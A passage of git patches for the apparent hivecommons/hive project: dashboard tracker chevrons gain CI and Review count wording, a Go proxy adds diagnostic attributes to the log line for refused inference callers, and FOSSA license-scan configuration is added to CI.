yet' : 'no checks reported yet'); + } + } + const total = n('perspectives_total'); + const done = n('perspectives_done'); + const count = 'Review' + (total ? ' ' + done + '/' + total : ''); + const actor = matches && a.actor ? String(a.actor) : ''; + const code = item.code_activity; + const push = item.push; + const newHead = !!((code && code.head === item.head && code.state === 'pushed') || (push && push.state === 'pushed' && push.sha === item.head)); + switch (state) { + case 'approved': return count + ' approved'; + case 'changes_requested': return count + ' Β· changes requested'; + case 'human_decision': return count + ' Β· awaiting human decision'; + case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); + case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); + case 'unassigned': return count + ' Β· swarm requested'; + default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'swarm requested'); + } + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. - // The chevron always carries a state word beside its glyph: unknown or - // stale evidence says so in words ("Β· seen 14m ago"), it never shrinks - // to a bare icon (hivecommons/hive#16484). Freshness still gates the - // pulse and the green fill, not the text. + // The chevron wears its glyph plus the count words from + // stageTrackerTrackWord (hivecommons/hive#16484). Style follows the + // track's own state on the current head: in progress = the full active + // fill (both tracks may be lit at once; the words disambiguate), done = + // the passed-stage style, a finding = the failing style, not started = + // the empty chevron with the glyph alone. Freshness gates only the pulse. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -57,7 +109,11 @@ const known = matches && state !== 'unknown' && Number.isFinite(observed) && !stale; const active = known && a.active; if (matches && !known && state !== 'unknown') caption = name + ' activity unknown Β· last observed ' + state + ' Β· ' + caption; - const cls = known && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; + const ownsPR = item.kind === 'pr' || item.via_pr; + const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); + const finished = matches && (state === 'passing' || state === 'approved'); + const finding = matches && (state === 'failing' || state === 'changes_requested'); + const cls = finished ? 'done' : finding ? 'failing' : text ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -66,7 +122,6 @@ // the tooltip only; the chevron clamps the caption. const detail = matches && a.detail ? ' Β· ' + a.detail : ''; let tip = caption + blocker + detail + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; - const ownsPR = item.kind === 'pr' || item.via_pr; const code = item.code_activity; const codeNote = code && code.head === item.head && Number(item.display_column) === 50 && ((kind === 'review' && code.state === 'waiting_fixer') || (kind === 'ci' && code.state === 'waiting_ci')) ? code.caption : ''; @@ -77,34 +132,21 @@ const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; - let seen = ''; - if (matches && !known && state !== 'unknown') { - if (!Number.isFinite(observed)) seen = ' Β· observation time unknown'; - else if (observed > clock) seen = ' Β· observation ahead of clock'; - else { - const m = Math.floor((clock - observed) / 60000); - const h = Math.floor(m / 60); - seen = ' Β· seen ' + (m < 1 ? 'under a minute' : m < 60 ? m + 'm' : h < 48 ? h + 'h' : Math.floor(h / 24) + 'd') + ' ago'; - } - } - let text = !matches ? name + ' unknown Β· no evidence for ' + (sha7 || 'this head') : (a.caption || name + ' ' + state) + seen; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - if (lead && lead.track === kind && lead.newHead && kind === 'ci' && sha7) text += ' Β· new head ' + sha7; - else if (lead && lead.track !== kind && !(state === 'passing' || state === 'approved' || state === 'failing' || state === 'changes_requested')) text += ' Β· waiting on ' + lead.waitingOn; const word = esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; - const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + + const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + (text ? text + ' Β· ' : '') + tip + (matches && a.actor ? ' Β· actor ' + a.actor : '') + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const linkedIcon = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 0447a9ea4c..eb212665ca 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1699,16 +1699,17 @@ layerize pass of the page every vsync (#13764). ::after is the movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } - /* Position is independent of observed work: queued, held and unknown - tracks keep a steady current-phase tint (a muted amber fill, full - opacity, no dimming ring), never a work pulse; only fresh observed - work earns the lit .active fill. */ + /* A CI / Review track wears its own state on the current head + (hivecommons/hive#16484): in progress = the full .active fill, done = + .done, a finding (red CI, changes requested) = .failing in the error + colour, not started = .todo with the glyph alone. No muted + "current-phase" tint: the operator reads the words, not the shade. + Only fresh observed work earns the pulse. */ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } - .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 28%, var(--panel)); color: var(--text); } - /* Findings (red CI, changes requested) are an amber-tinted chevron with - amber words β€” full opacity, still not the hive's own work; the finding - outranks the current-phase tint when both apply. */ - .ham-seg.ham-activity-track[data-activity-state="failing"], .ham-seg.ham-activity-track[data-activity-state="changes_requested"] { background: color-mix(in srgb, var(--amber) 18%, var(--panel)); color: var(--amber); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + /* The count words stay on one line and ellipsize instead of wrapping. */ + .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -17818,12 +17819,64 @@ <h3 class="faq-group-title">Where to get help</h3> return { track: 'ci', waitingOn: 'CI', newHead }; } + // Pure: the chevron's primary words β€” the count grammar the operator + // asked for (hivecommons/hive#16484): "CI 12/14 passed", "CI 11/14 Β· 1 + // failing (lint)", "CI 0/14 Β· queued", "CI ?/? Β· no checks reported + // yet"; "Review 3/5 perspectives", "Review 5/5 approved", "Review 0/5 Β· + // re-review pending (new head)", "Review 2/5 Β· awaiting human + // decision". '' means the track has not started on this head (the + // chevron shows its glyph alone). current: column 50 is the row's + // active phase, so even absent evidence is "in progress" there. + function stageTrackerTrackWord(item, kind, current) { + const a = item && item[kind + '_activity']; + const matches = !!(a && item.head && a.head === item.head); + const state = matches ? a.state || 'unknown' : 'unknown'; + if (state === 'unknown' && !current) return ''; + const n = k => matches ? Number(a[k]) || 0 : 0; + if (kind === 'ci') { + const total = n('checks_total'); + const passed = n('checks_passed'); + const failed = n('checks_failed'); + const names = matches && Array.isArray(a.checks_failing) ? a.checks_failing : []; + const count = 'CI ' + (total ? passed + '/' + total : '?/?'); + const failing = failed ? failed + ' failing' + (names.length ? ' (' + names.slice(0, 2).join(', ') + (names.length > 2 ? ', …' : '') + ')' : '') : ''; + const blocker = matches && a.blocker ? String(a.blocker) : ''; + switch (state) { + case 'passing': return count + ' passed'; + case 'failing': return count + ' Β· ' + (failing || 'failing' + (blocker ? ' (' + blocker + ')' : '')); + case 'running': return count + ' Β· running' + (failing ? ' Β· ' + failing : ''); + case 'queued': return count + ' Β· queued' + (failing ? ' Β· ' + failing : ''); + case 'skipped': return count + ' Β· ' + (blocker ? blocker + ' skipped' : 'skipped'); + case 'missing': return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + default: return count + ' Β· ' + (total ? 'no verdict yet' : 'no checks reported yet'); + } + } + const total = n('perspectives_total'); + const done = n('perspectives_done'); + const count = 'Review' + (total ? ' ' + done + '/' + total : ''); + const actor = matches && a.actor ? String(a.actor) : ''; + const code = item.code_activity; + const push = item.push; + const newHead = !!((code && code.head === item.head && code.state === 'pushed') || (push && push.state === 'pushed' && push.sha === item.head)); + switch (state) { + case 'approved': return count + ' approved'; + case 'changes_requested': return count + ' Β· changes requested'; + case 'human_decision': return count + ' Β· awaiting human decision'; + case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); + case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); + case 'unassigned': return count + ' Β· swarm requested'; + default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'swarm requested'); + } + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. - // The chevron always carries a state word beside its glyph: unknown or - // stale evidence says so in words ("Β· seen 14m ago"), it never shrinks - // to a bare icon (hivecommons/hive#16484). Freshness still gates the - // pulse and the green fill, not the text. + // The chevron wears its glyph plus the count words from + // stageTrackerTrackWord (hivecommons/hive#16484). Style follows the + // track's own state on the current head: in progress = the full active + // fill (both tracks may be lit at once; the words disambiguate), done = + // the passed-stage style, a finding = the failing style, not started = + // the empty chevron with the glyph alone. Freshness gates only the pulse. function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; @@ -17839,7 +17892,11 @@ <h3 class="faq-group-title">Where to get help</h3> const known = matches && state !== 'unknown' && Number.isFinite(observed) && !stale; const active = known && a.active; if (matches && !known && state !== 'unknown') caption = name + ' activity unknown Β· last observed ' + state + ' Β· ' + caption; - const cls = known && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; + const ownsPR = item.kind === 'pr' || item.via_pr; + const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); + const finished = matches && (state === 'passing' || state === 'approved'); + const finding = matches && (state === 'failing' || state === 'changes_requested'); + const cls = finished ? 'done' : finding ? 'failing' : text ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -17848,7 +17905,6 @@ <h3 class="faq-group-title">Where to get help</h3> // the tooltip only; the chevron clamps the caption. const detail = matches && a.detail ? ' Β· ' + a.detail : ''; let tip = caption + blocker + detail + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; - const ownsPR = item.kind === 'pr' || item.via_pr; const code = item.code_activity; const codeNote = code && code.head === item.head && Number(item.display_column) === 50 && ((kind === 'review' && code.state === 'waiting_fixer') || (kind === 'ci' && code.state === 'waiting_ci')) ? code.caption : ''; @@ -17859,34 +17915,21 @@ <h3 class="faq-group-title">Where to get help</h3> const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; - let seen = ''; - if (matches && !known && state !== 'unknown') { - if (!Number.isFinite(observed)) seen = ' Β· observation time unknown'; - else if (observed > clock) seen = ' Β· observation ahead of clock'; - else { - const m = Math.floor((clock - observed) / 60000); - const h = Math.floor(m / 60); - seen = ' Β· seen ' + (m < 1 ? 'under a minute' : m < 60 ? m + 'm' : h < 48 ? h + 'h' : Math.floor(h / 24) + 'd') + ' ago'; - } - } - let text = !matches ? name + ' unknown Β· no evidence for ' + (sha7 || 'this head') : (a.caption || name + ' ' + state) + seen; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - if (lead && lead.track === kind && lead.newHead && kind === 'ci' && sha7) text += ' Β· new head ' + sha7; - else if (lead && lead.track !== kind && !(state === 'passing' || state === 'approved' || state === 'failing' || state === 'changes_requested')) text += ' Β· waiting on ' + lead.waitingOn; const word = esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; - const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + + const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + (text ? text + ' Β· ' : '') + tip + (matches && a.actor ? ' Β· actor ' + a.actor : '') + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const linkedIcon = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index 23487c06f4..db59ece36e 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -226,7 +226,12 @@ } if (cell.dataset.displayState === 'unknown') { coverage.unknown++; - assert(cell.innerText.trim() === '', name + 'unknown track is icon-only'); + // #16493: a track in the current phase always carries count words + // ("CI ?/? Β· no checks reported yet"); only a not-started track is + // the glyph alone. + const words = cell.querySelector('.ham-track-state')?.innerText.trim() || ''; + if (cell.classList.contains('todo')) assert(words === '', name + 'not-started track is icon-only'); + else assert(/^(CI|Review)\b/.test(words), name + 'lit unknown track carries count words, never a bare glyph: ' + JSON.stringify(words)); assert(!!cell.querySelector('svg'), name + 'unknown track retains the column glyph'); assert(!cell.hasAttribute('data-motion'), name + 'unknown cannot animate as observed work'); } From a6fc111b02ad7fd36312088a5505f8d7a2af3c55 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 01:27:50 +0000 Subject: [PATCH 26/87] =?UTF-8?q?=F0=9F=90=9B=20fix(inference):=20log=20wh?= =?UTF-8?q?y=20unidentified=20translator=20callers=20are=20refused=20(#164?= =?UTF-8?q?90)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(inference): log why unidentified translator callers are refused Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: fragment for #16490 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(inference): move translator refusal attrs to own file; single changelog fragment Keeps github_proxy_inference.go under the crux 800-line ratchet and gives the PR one bulleted changelog entry as changelog-fragment-guard requires. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> --- changelog.d/fixed-16490.md | 1 + src/crux/proxy/github_proxy_inference.go | 2 +- src/crux/proxy/inference_refusal.go | 24 ++++++++++++++ .../inference_translator_identity_test.go | 33 +++++++++++++++++++ 4 files changed, 59 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-16490.md create mode 100644 src/crux/proxy/inference_refusal.go diff --git a/changelog.d/fixed-16490.md b/changelog.d/fixed-16490.md new file mode 100644 index 0000000000..de5ec142ce --- /dev/null +++ b/changelog.d/fixed-16490.md @@ -0,0 +1 @@ +- The inference translator's "unidentified caller refused" warning now records why the caller was unidentified (no UID map, unresolved socket, or unmapped UID), the socket owner UID, and whether an `x-api-key` was sent; the refusal itself is unchanged ([#16474](https://github.com/hivecommons/hive/issues/16474)). diff --git a/src/crux/proxy/github_proxy_inference.go b/src/crux/proxy/github_proxy_inference.go index 1bc2ca6c71..e9258a913c 100644 --- a/src/crux/proxy/github_proxy_inference.go +++ b/src/crux/proxy/github_proxy_inference.go @@ -396,7 +396,7 @@ func (p *GitHubProxy) inferenceTranslatorHandler() http.Handler { agentName, ok := p.translatorAgentName(r) if !ok { p.logger.Warn("inference request from unidentified caller refused", - "remote", r.RemoteAddr, "method", r.Method, "path", r.URL.Path) + p.translatorRefusalAttrs(r)...) http.Error(w, `{"type":"error","error":{"type":"authentication_error","message":"caller could not be identified"}}`, http.StatusUnauthorized) return } diff --git a/src/crux/proxy/inference_refusal.go b/src/crux/proxy/inference_refusal.go new file mode 100644 index 0000000000..922db429e8 --- /dev/null +++ b/src/crux/proxy/inference_refusal.go @@ -0,0 +1,24 @@ +package proxy + +import "net/http" + +// translatorRefusalAttrs are the log attributes for a refused translator +// request. Beyond remote/method/path they say why identification failed (no UID +// map, socket not resolvable, or UID not mapped to an agent), the socket owner's +// UID when known, and whether an x-api-key was sent, so the refusal is +// actionable without weakening it. The key value is never logged. +func (p *GitHubProxy) translatorRefusalAttrs(r *http.Request) []any { + attrs := []any{"remote", r.RemoteAddr, "method", r.Method, "path", r.URL.Path} + switch { + case p.uidMap == nil: + attrs = append(attrs, "reason", "no_uid_map") + default: + uid, err := uidForRemoteAddr(r.RemoteAddr) + if err != nil { + attrs = append(attrs, "reason", "socket_owner_unresolved", "error", err.Error()) + } else { + attrs = append(attrs, "reason", "uid_not_mapped", "uid", uid) + } + } + return append(attrs, "has_api_key", r.Header.Get("x-api-key") != "") +} diff --git a/src/crux/proxy/inference_translator_identity_test.go b/src/crux/proxy/inference_translator_identity_test.go index ca16e897a7..21cf3f4179 100644 --- a/src/crux/proxy/inference_translator_identity_test.go +++ b/src/crux/proxy/inference_translator_identity_test.go @@ -135,6 +135,39 @@ func TestInferenceTranslatorHandler_RefusesUnidentified(t *testing.T) { } } +// TestInferenceTranslatorHandler_RefusalLogsDiagnostics pins that the refusal +// WARN keeps its message (the fleet-report class matches on it) and carries why +// the caller was unidentified. +func TestInferenceTranslatorHandler_RefusalLogsDiagnostics(t *testing.T) { + fakeProcNetTCP(t) + var buf strings.Builder + p := &GitHubProxy{logger: slog.New(slog.NewTextHandler(&buf, nil))} + p.uidMap = &agent.UIDMap{BaseUID: 2001, Agents: map[string]int{"quality": 2002}} + + rec := httptest.NewRecorder() + p.inferenceTranslatorHandler().ServeHTTP(rec, translatorReq("127.0.0.1:43210", "quality")) + if rec.Code != http.StatusUnauthorized { + t.Fatalf("status = %d, want 401", rec.Code) + } + for _, want := range []string{"inference request from unidentified caller refused", "reason=uid_not_mapped", "uid=2003", "has_api_key=true"} { + if !strings.Contains(buf.String(), want) { + t.Errorf("log %q missing %q", buf.String(), want) + } + } + if strings.Contains(buf.String(), "sk-hive-") { + t.Errorf("log leaks the api key: %q", buf.String()) + } + + buf.Reset() + p.uidMap = nil + p.inferenceTranslatorHandler().ServeHTTP(httptest.NewRecorder(), translatorReq("127.0.0.1:43210", "")) + for _, want := range []string{"reason=no_uid_map", "has_api_key=false"} { + if !strings.Contains(buf.String(), want) { + t.Errorf("log %q missing %q", buf.String(), want) + } + } +} + // Private forwarding may reach the translator, but its proxy-owned socket must // not turn a forged agent name into an authenticated inference request. func TestPlainForwardPrivateTranslatorRejectsProxyUID(t *testing.T) { From f082182a29d19ccf75cf8486359cabc68528ead1 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 20:34:50 -0500 Subject: [PATCH 27/87] =?UTF-8?q?=F0=9F=8C=B1=20ci:=20route=20FOSSA=20uplo?= =?UTF-8?q?ads=20to=20the=20CNCF=20Hive=20Commons=20team=20(#16491)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 🌱 ci: route FOSSA uploads to the CNCF Hive Commons team Pass project/team/branch to fossas/fossa-action and add a v3 .fossa.yml so the first upload creates hivecommons/hive inside the CNCF FOSSA org "Hive Commons" team (id 207492). FOSSA honors team only on the upload that creates the project, so this must land before FOSSA_API_KEY is set; until that secret exists the workflow keeps skipping. Refs cncf/sandbox#545 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * 🌱 ci: include src/proxy npm module in the FOSSA target set The spoke's runtime Node proxy ships to users, so the first CNCF upload should cover its dependencies; discord/ and .github/scripts/ stay out as repo tooling. Signed-off-by: Andrew Anderson <andy@clubanderson.com> * ci: analyze before test in FOSSA workflow fossa-action v2 with run-tests=true runs only 'fossa test' and forwards team/branch to it, which the CLI rejects (run 41750174253). Always run analyze (the upload that creates the project under the team), then run the policy test as a separate step on pull requests. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .fossa.yml | 37 +++++++++++++++++++++++++++++++++++++ .github/workflows/fossa.yml | 21 +++++++++++++++++++-- 2 files changed, 56 insertions(+), 2 deletions(-) create mode 100644 .fossa.yml diff --git a/.fossa.yml b/.fossa.yml new file mode 100644 index 0000000000..9092add37a --- /dev/null +++ b/.fossa.yml @@ -0,0 +1,37 @@ +# FOSSA CLI configuration for hivecommons/hive. +# Reference: https://github.com/fossas/fossa-cli/blob/master/docs/references/files/fossa-yml.md +version: 3 + +project: + # Stable project name in the CNCF FOSSA org (the action's `project:` input + # mirrors this so UI and CI agree). + name: hivecommons/hive + # Team NAME in the CNCF FOSSA org (team id 207492). Only applied when the + # project is first created; later changes must be made in the FOSSA UI. + team: Hive Commons + url: https://github.com/hivecommons/hive + link: https://hivecommons.dev + +# The Go workspace lives under src/ (src/go.work: root module + src/crux). +# FOSSA auto-discovers every manifest; list the shipped components explicitly +# so a future re-layout does not silently drop one. Shipped: the two Go +# modules, the spoke's runtime Node proxy (src/proxy) and the dashboard. +# Deliberately out of scope as repo tooling, not shipped code: +# discord/package.json and .github/scripts/package.json. +targets: + only: + - type: gomod + path: src + - type: gomod + path: src/crux + - type: npm + path: src/proxy + - type: npm + path: dashboard + +paths: + exclude: + - src/test + - src/examples + - examples + - docs diff --git a/.github/workflows/fossa.yml b/.github/workflows/fossa.yml index 9d28007235..ea9f9744b8 100644 --- a/.github/workflows/fossa.yml +++ b/.github/workflows/fossa.yml @@ -20,7 +20,7 @@ jobs: fossa: name: FOSSA license scan runs-on: ubuntu-latest - timeout-minutes: 10 + timeout-minutes: 15 env: FOSSA_API_KEY: ${{ secrets.FOSSA_API_KEY }} steps: @@ -33,10 +33,27 @@ jobs: if: env.FOSSA_API_KEY == '' run: echo "FOSSA_API_KEY secret not set; skipping FOSSA scan." >> "$GITHUB_STEP_SUMMARY" + # The key must be a push-only token from the *CNCF* FOSSA organization so + # the project lands in the CNCF instance (cncf/sandbox#545). `team` takes + # the team NAME, not the numeric id, and is honored only on the very first + # upload that creates the project (fossa-cli docs/references/files/fossa-yml.md). + # With `run-tests: true` the action runs ONLY `fossa test` (no analyze) + # and forwards `team`/`branch` to it, which `fossa test` rejects. So: + # always analyze (upload), then on PRs run the policy test separately. - name: Run FOSSA scan if: env.FOSSA_API_KEY != '' uses: fossas/fossa-action@29693cc50323968e039056be419b32989fc5880c # v2.0.0 with: api-key: ${{ secrets.FOSSA_API_KEY }} - run-tests: ${{ github.event_name == 'pull_request' }} + project: hivecommons/hive + team: Hive Commons + branch: ${{ github.head_ref || github.ref_name }} + + - name: Run FOSSA policy test + if: env.FOSSA_API_KEY != '' && github.event_name == 'pull_request' + uses: fossas/fossa-action@29693cc50323968e039056be419b32989fc5880c # v2.0.0 + with: + api-key: ${{ secrets.FOSSA_API_KEY }} + project: hivecommons/hive + run-tests: true test-diff-revision: ${{ github.event.pull_request.base.sha }} From 008ca21495b0ef9693936cb83489dade2f4f2ae6 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 20:43:40 -0500 Subject: [PATCH 28/87] docs: restore FOSSA license-scan badge (#16497) The project now exists in the CNCF FOSSA org under the Hive Commons team (locator custom+162/hivecommons/hive), so the badge resolves. Reverts the removal in #13065, pointing at the new locator. Signed-off-by: Andrew Anderson 